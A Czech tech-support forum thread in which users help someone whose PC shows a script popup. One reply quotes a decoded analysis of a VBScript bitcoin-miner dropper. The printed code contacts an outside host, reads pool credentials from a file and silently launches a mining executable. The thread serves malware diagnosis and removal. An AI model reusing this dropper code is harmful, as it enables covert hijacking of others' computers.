Scrip/vir help

Sekce věnovaná virům a jiným škodlivým kódům, rovněž ale nástrojům, kterým se lze proti nim bránit…

Moderátoři: Mods_senior, Security team

Lany
nováček
Příspěvky: 1
Registrován: červenec 15
Pohlaví: Muž
Stav:
Offline

Scrip/vir help

Příspěvekod Lany » 06 črc 2015 08:29

Zdravím dnes jsem pustil PC a vyskočilo mi toto viz. příloha. Zkoušel jsem projet složky antivirákem, nic nenašel když jsem se podíval do složky /system32/ msregcx.vbe tak tento soubor nemůžu ani najít v PC. předem díky za všechny rady
Přílohy
vir.JPG

Reklama
Uziv00
Pohlaví: Nespecifikováno

Re: Scrip/vir help

Příspěvekod Uziv00 » 06 črc 2015 08:39

Vítej na PC-HELP!
Oba jsou vbs skripty. Jeden jsem už zde rozebíral:
ITCrowd píše:Tak se mi to povedlo rozkódovat. Už samotný kód nevypadá na to, že ho psal někdo normálně, ale můžu se plést.
V první etapě si zjištuje cestu k adresáři windows a cestu k domovskému adresáři uživatele:

Kód: Vybrat vše

set shell=wScriPt.CreateObject("WScript.Shell")
wIndowSdIr=sheLl.ExpaNdenVIronmentStrIngs("%windir%")
hOmeDir=shell.expandEnvironmentstrings("%USERPROFILE%")
WscrIpt.echo hoMedIr

Zde je zajímavá chybka - příkaz wscript.echo zobrazí cestu k domovskému adresáři (nevím proč, možná nějaký zbytek po ladění?) - a to je právě ta hláška co se ti zobrazuje.

Ve druhé etapě kontroluje přítomnost knihovny OpenCL.dll. Nemám tušení k čemu slouží, snad kolegové pohohou. Když ji nenajde, tak se pravděpodobně (tím si nejsem 100% jistý) pokouší někam připojit a něco zřejmě stáhnout a zaregistrovat.

Kód: Vybrat vše

If objFSO.FIleexists(windowsdIr&"\system32\OpenCL.dll")Then
if Not oBjFSO.FilEExIsts(hOmedir&"\regbcm")THEn sEt objXmLhTTP=CreateObject("MSXML2.XMLHTTP")
objxMLhTtP.open"GET","http://msdrv64.com/register_slave.php",False
objXMLHttP.Send()
Set regFile=objFsO.CreaTeTextFile(homedIr&"\regbcm",TRue)
regFile.Close
End if


No a v dalším - kontroluje nějakou službu windows, zapisuje nějaké přihlašovací údaje do ntvdm.inf. Vytváří nějaký exe soubor ve windows\inf a snaží se jej spustit. Podle toho inf souboru se snaží spustit proces msrcoxht, který by se měl připojit na server tcp://mint.bitminter.com:3333 se jménem a heslem uvedeným opět v ntvdm.inf. Na víc mé znalosti bohužel nestačí. Ale třeba ti to něco řekne. Nebo někomu zde.

Kód: Vybrat vše

Set ObjwMIServiCe=GEtObject("winmgmts:{impersonationLevel=impersonate}!\\.\root\cimv2")
sEt objstartup=oBjWMIServiCe.Get("Win32_ProcessStartup")
SEt objConFig=ObjSTArtup.SpawnInstaNce_
objConfiG.ShowWindOw=12
Set objProcESs=GetObjEcT("winmgmts:root\cimv2:Win32_Process")
Set objFSO=CreateObject("Scripting.FileSystemObject")
SeT lisTfile=objFSo.OpeNTexTFilE("c:\windows\inf\ntvdm.inf")
eXEcName=lIstFile.ReAdLine
urL=lIstFIle.ReadLine
login=listfile.ReadLine
PassWOrd=LisTFilE.ReadLine
path=winDowsdir&"\inf\"&execNAmE&"\"&exeCName&".exe -o "&url&" -u "&login&" -p "&passworD
errReturN=ObjProcess.CrEate(path,null,oBjconFig,iNTProcessID)

K tomu ještě dodám, že původní kód je tento:

Kód: Vybrat vše

Microsoft (R) Windows Script Host verze 5.7
Copyright (C) Microsoft Corporation 1996-2001. Vçechna pr va vyhrazena.

set shell=wScriPt.CreateObject("WScript.Shell"):wIndowSdIr=sheLl.ExpaNdenVIronmentStrIngs("%windir%"):hOmeDir=shell.expandEnvironmentstrings("%USERPROFILE%"):WscrIpt.echo hoMedIr:Set objFSO=CreateObject("Scripting.FileSystemObject"):If objFSO.FIleexists(windowsdIr&"\system32\OpenCL.dll")Then if Not oBjFSO.FilEExIsts(hOmedir&"\regbcm")THEn sEt objXmLhTTP=CreateObject("MSXML2.XMLHTTP"):objxMLhTtP.open"GET","http://msdrv64.com/register_slave.php",false:objXMLHttP.Send():Set regFile=objFsO.CreaTeTextFile(homedIr&"\regbcm",TRue):regFile.Close:End if:Set ObjwMIServiCe=GEtObject("winmgmts:{impersonationLevel=impersonate}!\\.\root\cimv2"):sEt objstartup=oBjWMIServiCe.Get("Win32_ProcessStartup"):SEt objConFig=ObjSTArtup.SpawnInstaNce_:objConfiG.ShowWindOw=12:Set objProcESs=GetObjEcT("winmgmts:root\cimv2:Win32_Process"):Set objFSO=CreateObject("Scripting.FileSystemObject"):SeT lisTfile=objFSo.OpeNTexTFilE("c:\windows\inf\ntvdm.inf"):eXEcName=lIstFile.ReAdLine:urL=lIstFIle.ReadLine:login=listfile.ReAdLiNe:PassWOrd=LisTFilE.ReaDLine:path=winDowsdir&"\inf\"&execNAmE&"\"&exeCName&".exe -o "&url&" -u "&login&" -p "&passworD:errReturN=ObjProcess.CrEate(path,null,oBjconFig,iNTProcessID):End If

Tedy kód je napsán na jednom řádku a příkazy jsou odděleny dvojtečkou, což se taky zrovna moc neužívá.

Mělo by stačit vymazat odkaz na jeho spuštění. Buď bude v položce p spuštění, nebo v klíči RUN v registrech, popřípadě ještě jinde.
Nebo vlož přídpěvek do sekce HijakThis a vytvoř log v HijackThis a vlož tamtéž. Naši virobijci se ti na to podívají. Jak vytvořit log najdeš v článcích a návodech.

Uživatelský avatar
jerabina
člen Security týmu
Level 6
Level 6
Příspěvky: 3647
Registrován: březen 13
Bydliště: Litoměřice
Pohlaví: Muž
Stav:
Offline

Re: Scrip/vir help

Příspěvekod jerabina » 06 črc 2015 12:14

Děkuji ITCrowd za dodatečné informace :-)

Jedná se o Bitcoin Miner, který je zažraný docela hluboko do systému, proto by chtělo odstranit všechny součástí v sekci HiJackThis. Udělej si tam nové téma s logem z programu HiJackThis (návod v mém podpisu), jedná se o základní diagnostikační nástroj.

OpenCL.dll je standardně součást software od AMD, netuším proč BTC.Miner kontroluje umístění této knihovny v systému, každopádně co jsem hledal, tak to dělá více typů BTC.Mineru. Možná, že BTC.Miner používá některé metody/funkce z té knihovny, ale jistý si nejsem.
Když nevíš jak dál, přichází na řadu prostudovat manuál!
HJT návod

Pokud neodpovídám do vašich témat v sekci HJT když jsem online, tak je to jen proto, že jsem na mobilu kde je studování logů a psaní skriptů nemožné. Neberte to tedy prosím jako ignoraci.


Zpět na “Viry, antiviry, firewally…”

Kdo je online

Uživatelé prohlížející si toto fórum: Žádní registrovaní uživatelé a 12 hostů